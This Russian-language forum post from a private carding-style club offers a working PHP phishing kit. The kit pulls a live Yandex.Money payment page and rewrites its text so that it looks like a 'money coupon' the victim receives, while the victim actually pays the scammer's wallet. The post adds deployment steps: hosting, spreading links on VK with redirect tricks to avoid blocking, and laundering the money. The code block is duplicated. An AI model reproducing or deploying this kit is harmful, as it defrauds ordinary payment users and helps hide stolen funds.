Купоны Яндекс.

Купоны Яндекс.

TM PRIVATE CLUB

Всем привет.

 

Все уже видели тему с дефейсом страницы получения платежа Яндекс.Деньги? Там создают вот такие странички, под вид купона.

 

Есть у них одна огромная проблема - нужно каждый час обновлять код на хостинге, иначе оплата не пройдет, потому что устарел токен. Как я догадываюсь, если по одному токену уже оплатили, то второй платеж не пройдет, и мы не узнаем об этом и будем максимум получать 1 оплату в 60 минут.

 

Теперь этого делать не нужно. Я написал очень простой код, который автоматически (при каждом запросе страницы) получает корректную страничку оплаты и меняет тексты на те, что вы укажете. Получится такая страничка, как на скриншоте ваше.

 

Код страницы генерации купона:

 

Код:


<?php
$wallet = "НОМЕР ЯНДЕКС-КОШЕЛЬКА";
$sum = "1000";
$backurl = "";


$data = file_get_contents('https://money.yandex.ru/quickpay/cps-preparation.xml?receiver='.$wallet.'&sum='.$sum.'&quickpay-back-url='.$backurl.'&successURL=&shop-host=&form-comment=&short-dest=&quickpay-form=small&paymentType=AC&targets=qwerty&label=&comment=');


$array = array(
    "Перевод пользователю Яндекс.Денег" => "Денежный купон на сумму " . $sum . " рублей",
    "Счет получателя \(перевод физическому лицу\)" => "Назначение",
    "Вы отправляете перевод физическому лицу — на электронный кошелек в Яндекс.Деньгах." => "Денежный купон от физического лица — на карту любого банка РФ.",
    "Назначение платежа" => "Вид купона",
    "Максимальные.*месяц." => "<b>ВНИМАНИЕ!</b><br><br>Вам будет выслано СМС-сообщение с кодом подтверждения, для списания средств с сервиса YANDEX.MONEY c последующим переводом на Вашу карту средств в размере " . $sum . " рублей.<br><br><b>Никому не сообщайте полученный код!</b>",
    "qwerty" => "Денежный купон",
    "Заплатить" => "Получить купон",
    "Данные карты" => "Данные купона",
    $wallet => "Перевод средств на банковскую карту",
    "https:\/\/money.yandex.ru\/\/i\/logo_cards_small.png" => "/i/logo_cards_small.png"


);


foreach ($array as $i => $value) {
    $pattern = '/'.$i.'/i';
    $replacement = $value;
    $data = preg_replace($pattern, $replacement, $data);
}


echo $data;
    "Перевод пользователю Яндекс.Денег" => "Денежный купон на сумму " . $sum . " рублей",
    "Счет получателя \(перевод физическому лицу\)" => "Назначение",
    "Вы отправляете перевод физическому лицу — на электронный кошелек в Яндекс.Деньгах." => "Денежный купон от физического лица — на карту любого банка РФ.",
    "Назначение платежа" => "Вид купона",
    "Максимальные.*месяц." => "<b>ВНИМАНИЕ!</b><br><br>Вам будет выслано СМС-сообщение с кодом подтверждения, для списания средств с сервиса YANDEX.MONEY c последующим переводом на Вашу карту средств в размере " . $sum . " рублей.<br><br><b>Никому не сообщайте полученный код!</b>",
    "qwerty" => "Денежный купон",
    "Заплатить" => "Получить купон",
    "Данные карты" => "Данные купона",
    $wallet => "Перевод средств на банковскую карту",
    "https:\/\/money.yandex.ru\/\/i\/logo_cards_small.png" => "/i/logo_cards_small.png"


);


foreach ($array as $i => $value) {
    $pattern = '/'.$i.'/i';
    $replacement = $value;
    $data = preg_replace($pattern, $replacement, $data);
}


echo $data;

Редактируем файл index.php:

Вместо НОМЕР ЯНДЕКС-КОШЕЛЬКА вставляем, соответственно, номер кошелька (он выглядит как 410011738561668).

 

Чуть ниже поле $sum = "1000"; - это сумма купона, меняем при необходимости.

 

Еще ниже $backurl = ""; - это ссылка, на которую попадет жертва после получения купона (ну мы же понимаем, что деньги получаем мы, а не они). Если нужно - вставляем.

 

На этом все. Заливаем на хостинг, привязываем домен, распространяем, отмываем.

Скидываю архив, в котором дополнительные ресурсы (картинки, стили).

 

Если собираемся распространять в ВК, то регистрируем либо платный хостинг, либо бесплатный (подойдет любой с поддержкой PHP, сейчас такие все, насколько я знаю), но чтобы ссылка не блокировалась, ищем мануал в гугле по запросу "ссылка вк блогспот редирект".

 

Модернизация​

 

Можно строки

 

Код:


$wallet = "НОМЕР ЯНДЕКС-КОШЕЛЬКА";
$sum = "1000";

Заменить на

 

Код:


$wallet = $_GET("wallet");
$sum = $_GET("sum");

Код кошелька и сумма будут браться из ссылки:

http://нашсайт.ру/?w...561668&sum=1000

 

P.S. Этот генератор купонов можно использовать в разных целях. Например поменять все тексты и получится своя система оплаты. Можно сверстать/найти рулетку, а купон это будет выигрыш победителя. Код очень простой и там все должно быть понятно.

 

https://yadi.sk/d/u_fQk8Xs3NcUJC